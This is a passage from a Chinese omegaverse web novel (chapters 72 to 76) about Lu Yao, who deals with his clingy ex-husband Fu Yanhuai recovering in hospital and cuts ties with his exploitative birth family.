“我不。”傅晏淮今天真是很反常,他竟然敢拒绝鹿遥了。他不接鹿遥递过来的碗,“你喂我,不然我就不吃。” 鹿遥黑着脸直接站起身就要走,傅晏淮轻轻扯住鹿遥衣角。 “鹿遥。”傅晏淮大脑一片混沌,他也不知道自己到底想要什么,但他心底的确有着深深的渴望。 “别走好吗,米糊不甜,真的一点都不好吃。” 鹿遥被这句可笑的话绊住脚,他不清楚医生具体的治疗程序,他凭借常理尽量心平气和地对傅晏淮道,“既然护士拿来这么多,就代表这个量是在正常范围内,就算都吃了也没关系。你在生病,生病就需要补充营养和能量才能快点好,你把它都吃完。” 傅晏淮依然直勾勾盯着鹿遥,“你喂我。” 鹿遥反问道,“你没长手吗。” 傅晏淮抓不住鹿遥的衣角了,他喘了口气往后靠在靠枕上,傅晏淮揉揉眉心,“不好意思,是我烧糊涂了。” 鹿遥的手攥紧了又松,他绷着脸重新坐下,瓷勺抵在傅晏淮唇瓣上,他简短吐出一个字命令道,“喝。” 傅晏淮就这样一口一口,把这碗米糊喝干净了。 鹿遥耐着性子多问了一句,“还想吃什么,如果医生说可以简单吃流食,不如在家里做了送过来。” 单单只吃米糊也不行,鹿遥在思考是不是可以煲汤喝。 “想吃甜的。” 傅晏淮含混道,“焦糖…布丁。” 那个被他随手扔掉的焦糖布丁,应该是鹿遥很用心做了拿给他的吧。 一定很好吃。 第73章 第 73 章 香香 鹿遥浑身僵硬停在原地, 他几乎以为自己的耳朵出了问题。 傅晏淮在说什么,焦糖布丁? 无数晦涩不愿想起的记忆在此刻犹如海水反扑向鹿遥,傅晏淮说喜欢他做的甜品, 可鹿遥却一点都高兴不起来。 他想吃焦糖布丁了?那个坏掉的布丁吗。 鹿遥几乎以为是自己耳朵坏掉了,或者出现幻听了, 傅晏淮怎么可能会说这样的话呢? 鹿遥不知道自己是怎么把碗放回桌上的,他以为自己听见这样的话会愤怒, 会难过。 但他只是麻木地开口, “没有了, 扔掉了。” 坏掉的布丁只会惹人嫌, 一直倒在地上会腐烂变臭, 再也不会有刚做出来时甜甜的味道, 它就应该扔进垃圾桶。 鹿遥努力保持平稳的呼吸,“而且你也不能吃,你只能吃流食。你好好休息吧, 今天的事我会告诉妈妈, 我要回家了。” 他要回家, 他想念文筝,想念夏时越,也想年年。鹿遥好想把年年紧紧抱在怀里, 从肉肉的婴儿身上汲取安全感。 “别走。”傅晏淮祈求地看他, “再陪我一会吧。” 米糊并没有缓解身体的饥渴,相反地,傅晏淮深深渴求仍在升腾。或许真的是生病了状态不好吧,傅晏淮从来没有如此想要鹿遥在自己身边过。 “我要去照顾年年。”鹿遥的声音很冷静,傅晏淮听不出来鹿遥是不是在搪塞自己,“看不到我, 年年会哭的。” “可是我好难受啊。” 傅晏淮哑着嗓子开口,“哪里都不舒服。” 鹿遥现在没有办法骂傅晏淮自作自受,他无力道,“我也没有办法,你可以叫医生。” “不需要医生。”傅晏淮固执起来有点像年年发脾气的样子,他认真道,“不叫医生,只要你陪着我,我就会好了。” 鹿遥实在不知道该怎么面对这个样子的傅晏淮,他深吸口气道,“别闹了,你要是想要人陪,明天我会和妈妈商量看看一人来一天。” 傅晏淮一语不发地盯着他,鹿遥被看得别扭,他站起身就要走,但下一秒他就被傅晏淮整个抱住。 傅晏淮紧紧地抱着鹿遥,好像恶龙怀抱自己的珍宝。 他已经很久很久没有和鹿遥贴得这么近,他的鼻尖甚至能碰到鹿遥脖颈上的肌肤。 鹿遥受惊地下意识挣扎,“傅晏淮,你干什么!” 在鹿遥挣动的第一下傅晏淮就没有禁锢得那么用力了,但他的一只手臂仍然横在鹿遥腰间。 明明傅晏淮的腺体都已经坏了,明明他现在如此病弱,但当傅晏淮凑近他后颈的时候,鹿遥还是难以避免地陡然生出毛骨悚然感。 被猎食者叼住喉咙的感觉大约就是这样,鹿遥忍着异样与恐惧惊慌想要站起身,“你放手,松开,傅晏淮,你!” “我不想松。”傅晏淮诚实道,“这样抱着你很舒服。” 鹿遥一股邪火从心里升起来,傅晏淮把脸埋进鹿遥颈侧,皮肤的滚烫温度和身后像火炉一样的alpha提醒鹿遥,傅晏淮现在是个病人。 鹿遥艰难地忍耐了下来,“你到底想干什么。” “不知道。”傅晏淮放空地喃喃,“我也不知道。” “你烧糊涂了。”鹿遥斩钉截铁地开口,“我去叫医生。” 傅晏淮抗拒道,“不要去,我只想,我就想这样抱你一会。” 鹿遥难以置信道,“你多大了,你也和年年一样是每天要人哄的小孩子吗?生病了就找医生啊,我难道会治病吗?” 傅晏淮其实也知道时间差不多,就快要到鹿遥忍耐的极限了,他低声喃喃道,“可是这样抱着的确舒服了一点。” 不管是真的还是心理作用,这样在怀里搂紧鹿遥,傅晏淮那无处安放的饥渴和灼烧感的确减轻了。 鹿遥头疼地看着前面,尽量再挤出一点耐心。 “那你打算一直抱下去?傅晏淮,严格来说,你现在的行为是骚扰。” 傅晏淮终于遗憾地慢慢松开手,“我知道。” 他异常冷静地看着鹿遥,“你想为这个骂我,或许干脆报/警也可以。” 傅晏淮觉得自己现在被鹿遥骂两句,身上都能舒服不少。 鹿遥忽然回头蹙眉盯着他,他猜测道,“你是不是…” 鹿遥试探地把腺体贴撕下来一点,浅浅的焦糖味道小范围弥散。 傅晏淮的神态有很明显的停顿,他愣住盯着鹿遥,“你。” 鹿遥重新贴好腺体贴站起身,“看来你的腺体的确没事。” 什么情况下alpha会对omega信息素发出渴求呢,鹿遥不知道傅晏淮现在是什么状态,但他知道一个没用坏掉的腺体肯定不会想要omega信息素的。 傅晏淮大概率没什么事,鹿遥的态度冷了下来,“我去找医生来,你好好想想怎么和妈妈解释吧。” 这次傅晏淮没有再拦住鹿遥,他坐在床边一直眼巴巴看着鹿遥离开。 病房里只剩下一点点极其浅淡的omega信息素,傅晏淮躁动不安的饥渴感的确被抚平。 可是这一点点还是太少了,傅晏淮还想要更多的,想要鹿遥一直、永远陪在他身边。 鹿遥回家的时候明显看着心情不是很好,夏时越今天早早就从餐厅里回来了,他看见鹿遥板着脸奇怪道,“鹿遥?你不是去店里了吗,怎么不高兴?” 文筝这个时候不在,现在是她上插花课的时间。年年也不在楼下,他应该是被傅际中抱着去外面散步了。 客厅里只坐着夏时越,他在吃新端上来的果盘。他看鹿遥半天不动,不由担忧起来,“店里出事了?装修坏了?” 鹿遥妥协地叹了口气往里走,他边走边道,“没有。我给年年买了一盒磨牙…” 鹿遥看向自己空荡荡的两只手,他懊恼道,“忘记拿了。” 鹿遥坐在夏时越旁边,浑身都是低气压,“我去医院了,并不是像傅晏淮说的换治疗方案。他的胃出现并发症状,做了个小手术,所以今天才不能回来。” 夏时越震惊道,“他做手术了?” 夏时越稍微转了下就明白过来,“然后他联合起医生,一起骗你们是不是。” 鹿遥拳头又硬了,天知道他刚刚有多想一拳打在傅晏淮脸上,鹿遥从来没有过如此暴力的冲动。 鹿遥隐忍道,“他手术恢复几天后会回来。” 夏时越瞬间恼火,“神经病!傅晏淮脑子绝对是有问题。” 鹿遥今天平白无故被傅晏淮拉住胡搅蛮缠了一中午,回家还发现自己买的磨牙棒忘记拿回来了,他现在实在郁闷得很。 他心烦道,“我绝对不会再理会他这些乱七八糟的事情了,年年在哪儿,和爸爸出去了吗?” “没有,在楼上呢,你不在家他有点不高兴,傅伯伯想带他出去,他不想去。”夏时越当即站起身,“我去告诉文阿姨傅晏淮做了手术,你不用管了,去陪年年吧。” 鹿遥也没有推辞,他现在是真的没什么心情。 鹿遥上楼,年年很无聊地躺在小床上,举起自己的手玩。 看见年年,鹿遥的情绪稳定了一些。 “宝宝。”鹿遥走过去,蹲下来看躺着的年年,“在玩手呀。” 年年听见声音侧头唔了一声,看见是鹿遥眼睛都亮了。 他很努力地把自己拱起来,脸上笑容很灿烂地用自己脸去挤鹿遥。 鹿遥幸福地把年年抱起来,年年控诉地哼哼唧唧,并且紧紧抓着鹿遥的衣领坚决不撒手。 鹿遥亲了亲年年,“还是年年乖。” 鹿遥暗自腹诽,还好年年一点都不像傅晏淮,这实在算是傅晏淮做的唯一一件好事。 “你以后一定要好好长大,知道吗?”鹿遥也顾不上年年现在能不能听得懂了,他对着年年谆谆教诲道,“不要养成你父亲那样的性格,进入社会真的会被人歧视的。” 鹿遥想了想又补充道,“还很容易挨打。” 年年听不懂,也没有在认真听,他吭哧吭哧抠了两下鹿遥的腺体贴。年年知道没有这个腺体贴的时候,爸爸身上就会有香香甜甜的味道,年年喜欢闻。而且晚上睡觉闻到这个味道也会觉得很安心,所以年年一见到鹿遥就抠抠腺体贴,表示自己不想要这个。 反正刚刚腺体贴也撕下来一回过,现在也不太牢固了,鹿遥干脆把它扔进垃圾桶。 年年很高兴地咧嘴笑,鹿遥捏捏年年的小屁股,“听到没有,要做善良正直的人。” 年年以为鹿遥在和自己玩,他咯咯笑了起来,鹿遥贴紧年年的脸。 和一个这么小的孩子说这些做什么呢,鹿遥把年年抱紧怀里,搂着年年一起躺下了。 鹿遥紧绷的情绪散去,其实傅晏淮回来住也没什么不行,他和傅晏淮不住在同一楼层,也可以避开出行时间,如果有心的话,几乎不会遇到。 鹿遥只盼望接下来的日子能相安无事,一直平平静静地过下去。 文筝听得手一哆嗦,失误剪掉了一朵花,她哎呀一声心疼地把花捡起来。 “做手术了?已经做完了?” 夏时越连忙对她道,“人没事,就是鹿遥去看他,好像又被气到了。” 文筝这么优雅的人,现在听见这件事也想翻白眼。她把那朵花放回去,“行,这件事我知道了,你和小鹿都放心,我来解决。” 文女士不相信这个世界上有掰不直的树,如果有,她直接拿电锯来锯到笔直,让他朝着正道的方向好好发展。 傅晏淮要回家住,那就一定要跟小鹿和年年和平相处,那他就势必要拿出一个良好的态度。 文筝必须得让鹿遥和年年住得顺心才成。 第74章 第 74 章 修理 文筝踩着高跟鞋进医院的时候, 医生正在愁眉苦脸地帮傅晏淮做检查。 “傅总,您的腺体活跃程度比昨天提高了三倍,以这个趋势继续进行下去的话, 您的腺体会逐渐恢复到正常水平。” 傅晏淮的烧降下来了一点,他答非所问地对医生道, “我刚刚好像闻到了,焦糖的味道。” 医生闻言忍不住有些激动, “这就是腺体恢复的证明, 说明发烧也只是免疫系统在正常反应, 我相信您很快就会恢复健康。” 文筝听到这有点听不进去了, 她挑眉走近病房, “看来住院这几天, 你和他关系倒是挺亲密的。” 文筝是在对医生说话,那话里的这个他肯定指的就是傅晏淮了。 医生一抬眼看见文筝进来,当场就有点汗流浃背, “文夫人, 您来给傅总探病了啊。” 文筝微笑, “我来见证你们的友谊。” 医生默默退场,傅晏淮懒得从床上起来,他懒散问文筝道, “鹿遥已经回家了吗?” 文筝先是仔细打量了一下傅晏淮, 他现在高烧降下来,脸色好看了些。刚刚又吃了点东西,精神状态还不错。 最重要的,可能是得到了一点鹿遥的信息素,傅晏淮现在看起来又恢复了点以前那种倨傲和心不在焉。 文筝冷笑一声,“你大可以再多手术几次, 我看你还撑得住,挺好。” 连鹿遥的信息素都能闻到了,可不是挺好? 傅晏淮叹了口气道,“我知道错了。” “别冲我来这套。”文筝凉嗖嗖地看着他,“我可不是鹿遥,你随便哄两句就能相信。” 傅晏淮被噎住,他无辜看着文筝开口,“是鹿遥不高兴了吗?” “鹿遥一回家就上楼去抱年年了,刚刚我临走的时候推门进去看,已经和年年一起睡着了。”文筝匪夷所思地盯着傅晏淮,“来医院看你一趟就累成这样,那等你回家了以后呢,这个家是不是就只容得下你一个了?” 傅晏淮诚恳道,“今天的事是我不对,我保证以后绝对不会再这样了。” 文筝冷笑一声,“你和我保证什么都没用,傅晏淮,你保证的事哪件对小鹿做到了?” 傅晏淮拧眉深思,“我只是不想让他担心。” “那现在呢。”文筝心平气和问道,“你觉得现在他就不会担心了是吗。” 傅晏淮犹豫起来,文筝也实在不想深究傅晏淮的脑子到底是怎么运转的。她走近两步对傅晏淮伸手,“你的手机呢,拿来给我。” 傅晏淮沉默找出来递给文筝,文筝甚至无需试验,第一遍就输对了傅晏淮的秘密。 文筝冷声道,“与其用初始密码,不如用鹿遥的生日。” 文筝从消息软件里一堆众多的工作人员中找到鹿遥,她直接置顶并设了单独提示音。 文筝把手机还给傅晏淮,“每天都要主动和鹿遥说话,谎言是经不起推敲的,再了解你生活中的细节后,你再骗鹿遥他很容易就会发现。” 傅晏淮看着联系界面最顶端的鹿遥出神,文筝不客气地道,“你不要和我说这只是隐瞒不让他担心,这就是在骗鹿遥。” 傅晏淮抿唇抬眼,文筝警告他道,“尽管你曾经深切地伤害了他,但鹿遥仍然不愿意你受伤,他看见你生病手术依然会难过。我想你应该明白真心的可贵,这是用钱买不来的。” “当然,你如果想要恭维的关心,那的确随便拉一个人过来都能说给你听。不过我猜,你想要的也不是这个。傅晏淮,一个人的耐心和宽容是有限的,就算是鹿遥,如果你一而再再而三地这样让他失望,最终他只会再也不心软。” 文筝的话让傅晏淮一时五味杂陈,他知道文筝说的是对的。 “但还好。”傅晏淮喃喃自语道,“至少他现在还会对我心软。” 文筝把傅晏淮骂了一顿之后心里很舒坦,她哼着歌优雅上车,还拿出镜子看看自己今天的发型乱了没有。 文筝回家时步伐十分趾高气昂,傅际中拿象棋的手都抖了一下。 “你不是去医院了吗,怎么回来这么高兴,傅晏淮痊愈了?” 文筝在沙发上坐下,“他病得不轻。” 傅际中迷惑了,“那你这是…” “养个不懂事的孩子真是让人操心呢。”文筝给自己倒了杯茶,“你说是不是,老傅。” 傅际中不明所以道,“他又惹你不高兴了?” 文筝摇摇头,“家和万事兴,小鹿三天两头被他弄得不高兴,你觉得这家和得起来吗?” 傅际中当即放下棋子洗耳恭听,“我现在应该做什么。” 傅际中的敏锐度让文筝很满意,说实话,傅际中比自己那个人机儿子显得有人味多了。这么一对比,文筝看傅际中都稍微顺眼了一点。 “傅晏淮回家养伤。”文筝缓缓开口,“但我看他的状态,好像应该很快就能活蹦乱跳起来了。” 傅际中点点头,“那我…” 文筝温柔浅笑,“我们要给小鹿、年年提供一个良好的、适合生活成长的环境。” 傅际中悟了,“好的,明白。” 文筝这次终于是真的满意了,她上楼打算做个SPA放松一下。 鹿遥快到晚饭才迷迷糊糊醒,他起来的时候,发现年年在自己怀里撅着屁股睡得昏天黑地。 鹿遥大为懊恼,他赶忙轻轻把年年拍醒,“年年,年年,别睡了,醒醒一会吃饭。” 年年皱了下眉毛,砸吧两下嘴,但是不睁眼。 鹿遥此刻十分后悔自己没有上个闹钟,不到六个月的婴儿原本作息就不规律,现在下午睡得多,晚上肯定不困了。 年年不困就要折腾到后半夜才睡觉,鹿遥已经能预想到今晚的兵荒马乱了。 鹿遥小心把年年抱起来,年年终于不情不愿地睁开眼睛,他趴在鹿遥肩膀上,还没有完全从睡梦中醒过来。 鹿遥赶忙找玩具试图把年年逗精神,好在年年应该也是睡饱了,没过两分钟他就很兴奋地半拱半爬去抓玩具玩。 鹿遥只期盼今晚年年不要太晚睡,他站起身想去看看奶油在哪,小狗可以有效消耗年年的体力。 鹿遥摸出手机想看看夏时越在不在家,他如果在家的话,奶油一定是被他抓走玩了。 但鹿遥刚刚按亮屏幕就愣住,上面联系电话是一个久违的名字。 “鹿千星?” 鹿遥蹙起眉,他给自己打电话干什么。 鹿遥可不觉得鹿家会因为太久没和自己联系而想要联络感情,真的想关心他的话,这几个月间有大把的时间。 刚刚和年年一起睡觉手机静音,鹿遥看了眼时间,两个小时前就打来了。 鹿遥只当做没看见,他直接退出界面去找夏时越。但他不想理会麻烦事,麻烦事却会一而再再而三地找上门。 鹿千星好像远在鹿家园网友心灵感应似的,手机界面再一次亮起通话。 鹿遥难以控制地生出负面情绪,年年趴在地上看鹿遥半天都不动,不由得好奇叫了一声。 年年的声音把鹿遥从负面情绪里叫醒,他直接挂断电话,然后去找夏时越的通讯记录。 鹿千星的电话却再一次打来,鹿遥紧紧盯着屏幕上不断跳动的鹿千星三个字,耐心终于用光了。 “鹿千星。” 鹿遥接起电话,在鹿千星之前先一步开口,“你找我有什么事,叙旧的话就免了。” 鹿千星显然没想到,时隔大半年才联系鹿遥,鹿遥对他的第一句话竟然这么不耐烦。 “鹿遥!”鹿千星恼羞成怒道,“你态度好一点行不行,难道你以为我愿意…” 鹿遥直接把电话挂断,然后生疏地操作手机想把鹿千星拉进黑名单。 但鹿千星这次显然远比鹿遥想的要执着许多,他再一次打来,鹿遥接起电话后直接冷声道,“直接说事,不然我还会挂掉。” 鹿千星咬牙道,“爸爸生病了,你都不回来看看吗?” 鹿钟光生病了? 鹿遥一时沉默下来,许久后他才开口问,“他生了什么病。” 电话另一边陷入一阵安静,但鹿遥到底还是关心鹿钟光的,这让鹿千星忍不住心生得意。 “我听说你最近又住回傅家老宅。”鹿千星颐指气使道,“你让爸爸在傅家的医院治疗吧。” 鹿遥深吸口气,他再次开口问道,“我说,他生了什么病。” 鹿千星忽然恼怒起来,“要是知道具体什么病难道还用得着找你吗,要先进医院检查你知不知道啊!” 鹿遥忽然嗤笑一声,“鹿千星,你骗人的伎俩真的很小儿科,你觉得我会相信你说的话吗?” 鹿遥太了解鹿家的人都是什么秉性脾气,一定不是像鹿千星说的这么简单而已。 鹿千星一咬牙道,“好,爸爸最近投了一个文书,那个公司的负责人算在傅晏淮名下子公司,爸爸想让傅晏淮签字。” 鹿遥最近和孩子一起住在傅家老宅,这就说明至少傅际中和文筝是认可鹿遥的。虽然他已经和傅晏淮离婚,但现在风声传着又有要和好的意思。 鹿千星和关清露谁也没想到,一个被抛弃的废子还能重新被傅家接纳,但不管怎么说,反正鹿遥都是鹿家的孩子,这无可更改。 鹿遥缓慢问道,“所以,你是让我去劝傅晏淮,让他给你们签字?” 鹿千星并未觉得有什么不对,他理所应当道,“对啊,不行吗。” 鹿遥嘲讽笑笑,“是谁给你们的自信,来要求我替你们求傅家。鹿千星,这电话是谁让你打来的。” 是他自己?还是关清露? 第75章 第 75 章 断舍离 “这有什么不一样。”鹿千星不解道, “是妈妈或者是谁有什么不同,你不也是鹿家的人,也是爸爸妈妈的孩子吗?要你为家里做一点事怎么了?” 其实原本鹿千星没有想要再联系鹿遥的, 当时鹿遥在孕期八个月忽然莫名其妙早产,鹿千星和关清露其实想要去看看鹿遥的, 但是紧接着就传出鹿遥和傅晏淮已经离婚的消息。 关清露理所当然地打消了去医院探望鹿遥的念头,鹿遥早产又被离婚, 自然是在什么地方惹恼了傅晏淮, 而且傅际中和文筝也在外旅行没有回来, 说明傅家没人对这件事上心。 关清露和鹿钟光可能会为了鹿遥而得罪傅家吗, 自然没这个可能。 谁知道还没过几个月, 鹿遥和傅晏淮两人的地方好像颠倒了, 关清露这才犹豫起来,让鹿千星打个电话试试鹿遥的态度。 鹿千星不依不饶接着道,“你不要忘了, 你也是妈妈辛辛苦苦养大的, 鹿家对你投入的成本和精力可不能随便就算了。做人要知恩图报, 至少你也应该想办法回报父母吧?” 鹿遥只觉得这通电话讽刺到好笑,“你是说鹿钟光和关清露养育我的恩情吗?” 鹿遥竟然直接叫了他们两人的名字,鹿千星先是惊愕, 随即便彻底火了起来, “鹿遥!我承认,有的时候爸爸妈妈对你没有特别关心,但不管怎么样,你也是他们两个的孩子,是我的哥哥,你到底还想怎么样?!” 明明是他们无理取闹, 现在却反过来问鹿遥还想怎么样。 鹿遥内心毫无波澜,他等到鹿千星冷静下来后才开口,“如果不是感受过真正的养育是什么样子,或许今天我就会真的为你的话而自责。” 因为见过,也真正感受过文筝对自己的好,所以鹿遥明白关清露是真的不爱自己。关清露很疼爱鹿千星,就像文筝疼爱他那样。 文筝的关怀让鹿遥此刻有抵御恶意的勇气,也让他不再在意鹿家的所有人对他到底是善意还是利用。 鹿千星一时语塞,鹿遥想了想补充道,“不要再打来了,我很讨厌无关的人来打扰我的生活。” 鹿遥又一次干脆利落地挂断,而后毫不犹豫把鹿千星拉入黑名单。鹿遥一鼓作气又翻到鹿钟光和关清露的联络号码,也一起关进了小黑屋。 年年已经吭哧吭哧快要拱到鹿遥身边了,之所以是拱,是因为年年现在爬得还不是很利索,还没有熟练掌握运用自己的四肢,所以拱起来更容易。 鹿遥其实是有一点被影响到心情的,但是傅晏淮这个超级无敌惹恼他的人在前,后面来的鹿千星就显得没那么气人了。 鹿遥很快调整好自己的情绪,他弯下腰把年年抱起来,“走吧,我们出去找奶油。” 这一次鹿遥畅通无阻地下楼,并顺利在外面的花房里找到了夏时越和奶油。鹿千星只是一个微不足道的小插曲,鹿遥很快就抛之脑后,也没有和任何人提起。 那一天年年的确兴奋到很晚才睡觉,鹿遥跟着折腾到了后半夜。 傅晏淮被文筝警告过后安分了许多,鹿遥也没有再去医院看他,鹿遥和夏时越的店已经基本装修完毕,并且已经在面试合适的人选来辅助经营。 鹿遥没有再去医院看过他,傅晏淮自己心里也清楚凡事不能做得太过火。这一次他很主动且规矩地汇报了自己的治疗进度,并且表示一天后就可以出院。 傅晏淮这几天一直在给鹿遥发一些莫名其妙的消息,比如病房外面树上的叶子都掉光了,比如医生头越来越秃了,比如护士过生日,大家送给她的蛋糕很甜,他也闻到了。 鹿遥秉持着非必要不回复的原则,只有傅晏淮在提及治疗相关的内容时,鹿遥才会惜字如金地回个是,嗯,行。 但鹿遥能回应对傅晏淮来说就是极大的鼓励,他好像找到了给鹿遥发消息的乐趣,他热衷于每天不固定时间上线对鹿遥进行一下骚扰。 鹿遥得知傅晏淮明天就会回家也没有过多的其他情绪,如果说之前对于和傅晏淮共同生活在同一屋檐下,鹿遥还会感觉有点异样,那现在就是真的无感了。 不过既然傅晏淮要回来,鹿遥和夏时越还是把店里的工作尽量排开了一下,至少也要一家人正式吃一顿饭。 夏时越趴在窗边继续精益求精地设计软装,鹿遥忙着在一边定开店初期的采购原料用量。 “如果我们专门推出法式甜品的话,那面粉可能不用这么多了,但是我觉得奶油还是新鲜现制比较好…” 鹿遥有些抉择不下,之前只是给夏时越帮忙开甜品店,鹿遥还没有切身感受到经营一家店铺初期的忙碌,现在他是真的一进到店里就会焦头烂额。 鹿遥犹豫之下问道,“我们要采用之前甜品店的经营模式吗?” 夏时越从一堆眼花缭乱的图片里抬起头,他认真思考了一下道,“其实我觉得之前的经营模式就很好,只是后来不知道为什么亏本了。” 鹿遥默默把这个方案排除,如果不是有夏时越的零花钱,按照那个亏本的速度,店是一定会倒闭的。 鹿遥重新打开那本已经翻烂了的策划案,再一次拿起笔,然后他对着密密麻麻已经没有空白再做笔记的策划案叹了口气。 “算了,今天先这样吧。” 这也不是急于一时的事,鹿遥决定还是再慎重重新考虑一下。 夏时越点点头站起身,“行,那我们先回…” 鹿千星和关清露从街对面走过来,鹿千星不可思议地道,“竟然真是鹿遥。” 关清露板着脸没说话,上次鹿遥把鹿千星给拉黑了,鹿千星再打过去没有打通。他气疯了去找关清露告状,结果关清露一打电话过去发现也被拒接了。 “真是不孝子。” 关清露眼中鄙夷之色很浓重,“我就知道对他好就是没用的,没良心的东西。” 鹿遥的穿着和精神状态都很良好,身形和以前没有太大分别。看鹿遥在店里说说笑笑,鹿千星心里的不平衡达到顶峰。 关清露骂这一句只能算是泄愤,她现在隐约已经明白了鹿遥对自己、对整个鹿家是什么态度,但她亲眼看见鹿遥生活得很好还是被刺激到。 关清露眼不见心不烦道,“走吧。” “不,等等。”鹿千星却拽紧关清露的胳膊,他的话里隐含着自己都没意识到的嫉妒,“他旁边的人是夏家小少爷,他们是在一起做生意吗。” 天知道鹿千星有多想跻身进这个阶层,和这些高高在上的少爷小姐有说有笑地交谈,可这些他还没有做到,鹿遥却先做到了。 从小到大,家里都是说鹿遥比不上鹿千星,说鹿千星是a级omega,以后一定会和顶尖的alpha联姻。 现实与设想的巨大落差让鹿千星难以接受,但现在,看起来鹿遥好像轻而易举地得到了这些。 关清露虽然厌烦,但还是不得不承认,“他是傅晏淮的合法伴侣,傅家老爷夫人也很喜欢他,那交两个朋友也就不奇怪了。” 鹿千星喉咙泛酸,他拉住关清露往前走,“妈妈,走,我们去看看。” 他们也是鹿遥的家人,在街上遇到他,进去寒暄两句也是正常。 鹿遥和夏时越把东西都归置好,两人穿好衣服准备离开。 夏时越最先和门外的鹿千星对上眼,他乍一看第一眼只觉得眼熟,没想起来这是鹿遥的弟弟。 甜品店还没有开,按理来说不应该有顾客上门,夏时越又迷惑看了看鹿千星旁边的关清露,眼熟感顿时更加重了。 这两个人…他好像见过啊? 鹿遥这时才从屋内走出来,他看夏时越站在门口一动不动,疑惑问道,“时越,你在看什么?” “鹿遥!” 鹿千星不敢贸然开口得罪夏时越,所以一时僵住,但看见鹿遥走出来他就理直气壮了很多。 “这是你的店吗?” 鹿千星这句话听起来很像是质问,而且就几乎是在他开口的同时,夏时越顺间想起了这两人是谁。 “关你什么事?” 夏时越语气很不好地开口,“你谁啊,让开。” 鹿遥默默上前两步推开门,夏时越也赶忙跟着出去。 店门在鹿千星和关清露眼前关上,鹿千星难以置信地问道,“鹿遥,你这是什么意思啊?” 鹿遥自然答道,“无关紧要的陌生人而已,时越,要来不及了,我们回家吧。” 关清露听见鹿遥的话面上血色迅速褪去,她失魂落魄又怒火中烧地看着鹿遥。 虽然鹿遥之前就说过差不多的话,但现在再一次听到… 关清露不敢相信,从前那么听话,对她百依百顺的人,现在竟然直接漠视她。 鹿千星上前就要拦住他,“鹿遥,你看到妈妈都不理会的吗?” 商业步行街里不能停车,鹿遥需要和夏时越一起去地下停车场。 夏时越充分尊重鹿遥不想多纠缠的意愿,他语气不善地开口道,“再这样我就要叫安保了。” 鹿千星被夏时越怼了一句有点害怕,他嘴硬道,“这里哪来的安保,夏小少爷,我也只是想让我哥哥对我妈妈好一点,你看他…” 夏时越是真烦了,“谁说没有安保的。” 他示意鹿千星抬头,“看见没有,傅晏淮的公司。你猜鹿遥叫里面的安保出来,傅晏淮敢不敢不同意。” 鹿千星不情不愿地停住,鹿遥听得都无奈了。他只好停住脚,转身对着关清露认真道。 “妈妈,不管怎么样,你是生下我又把我养大的人,这是无可更改的事实。但现在在我心里,我真正的妈妈已经不是你了。” “你生我下来遭受了很多苦恼,但我觉得这些痛苦的源头不在我。有时候,我觉得你也挺可怜的。 我们就这样相安无事地一直这样互不相识下去吧。” 第76章 第 76 章 出院 “傅总, 鹿先生和夏小少爷已经坐车离开了。” 傅氏集团和鹿遥选定的甜品店离得近,这其实是很方便的事。 比如现在,傅晏淮很容易就知道了刚刚发生的事, 鹿千星和关清露来到店里找鹿遥了。 傅晏淮颔首淡淡道,“开到前面, 请他们两个上车一下。” 步行街不能开车进入,而且傅晏淮也很想知道, 在鹿遥不在的情况下, 关清露会不会显示出自己最真实的态度。 鹿千星还在无法接受地对关清露恼怒道, “鹿遥怎么敢这么对我们的!就算、就算以前家里的确对他关心没有这么多, 但是他和我一样, 都是同样的爸爸妈妈, 现在他怎么能…” 现在鹿遥又怎么能摆出一副要和鹿家划清界限的态度呢?难道就因为一点小事,鹿遥就不承认这个家了吗? 关清露逞强道,“谁稀罕他什么态度, 小星, 你比你哥哥强一万倍, 你一定会比他更有出息,你才是最让妈妈骄傲的孩子。” 鹿千星理所当然道,“那是自然, 而且我可不会像他这样, 为了一点利益连家人都不顾了。” 关清露好像真的被鹿千星的话安慰到了,她不住地附和道,“不错,就是这样。” 一定是这样,是鹿遥太过分,要求太多, 她做得已经足够好了。供他吃供他喝把他养到这么大,他还考了那么好的学校,得了这么好的一桩婚事,鹿遥还想要什么? 助理耐心地等了很久,终于等到关清露和鹿千星走近。 “关夫人。” 助理礼貌地对两人道,“傅总想邀请你们上车,谈些事情。” 助理身后,加长的黑色商务车安静停在街口,关清露面色精彩起来。 “傅总?他找我们…” 傅晏淮找他们能有什么事,关清露只能想到是和鹿遥有关的事。 鹿千星对着助理不敢多开口说话了,傅晏淮不会是来替鹿遥说话的吧? 鹿千星心里打鼓,但他又觉得不会。是傅晏淮主动和鹿遥离婚的,现在虽然鹿遥又重新住进傅家,可也没有传出要复婚的风声。 助理微笑且若无其事地打开车门,“请上车吧。” 司机和助理都在前排等着,隔音板降下来,后面形成了一个独立空间。 傅晏淮穿着高领毛衣配深色长外套,有效遮挡住了他颈侧的伤痕。傅晏淮戴着耳机,在后排垂眼看电脑屏幕。 关清露和鹿千星拘谨坐在一边,傅晏淮只抬头淡淡看了两人一眼。 “不好意思,贸然请两位来见面。”傅晏淮嘴上说了抱歉,但脸上实在是一点歉意也没有。 他连电脑都没有合上,姿态很是闲适随意。鹿千星大着胆子先关清露一步开口道,“傅总,好久不见。不突然的,我们家里的人一直都惦记着您。” 傅晏淮露出单纯疑惑的神情,“惦记我做什么,难道你们不是应该惦记鹿遥吗?” 鹿千星和关清露同时僵住,傅晏淮这话是什么意思,讽刺他们装模作样吗? “关夫人,请您不要误解。”傅晏淮侧头看向关清露,“我只是很好奇您到底是怎么想的。” 傅晏淮本人的人生字典里就没有过谦虚两个字,现在腺体又逐渐恢复,看起来除了瘦一些,实在和以前看不出来什么差别。 傅晏淮认为自己已经足够和善,但他这张脸看起来还是很不好惹,这句话听起来也像是质问。 关清露神色渐渐凝住,鹿千星犹豫着闭上嘴,他隐约觉得傅晏淮似乎并不想听自己说话。 “傅总。”关清露勉强笑道,“我不明白您的意思。” 傅晏淮这次彻底把头转了过来,“您,对鹿遥,究竟是怎么想的呢。” 关清露这下真的笑不出来了,傅晏淮手指漫不经心在电脑上点了几下,他不喜欢和愚蠢的人说话。 傅晏淮平静叙述自己的视角,“据我所知,鹿遥出生在您婚姻情感破裂的期间,有迁怒的因素在,所以您对鹿遥并不能称得上是关心。既然如此,那我应该就可以理解为,您对鹿遥并没有太多的感情。” 关清露下意识反驳,“这怎么可能,他是我亲生的,我怎么可能对他没有感情。” 傅晏淮若有所思道,“按照正常的方式来讲,的确该是这样。但关夫人,我没有体会到你对鹿遥的关心。” 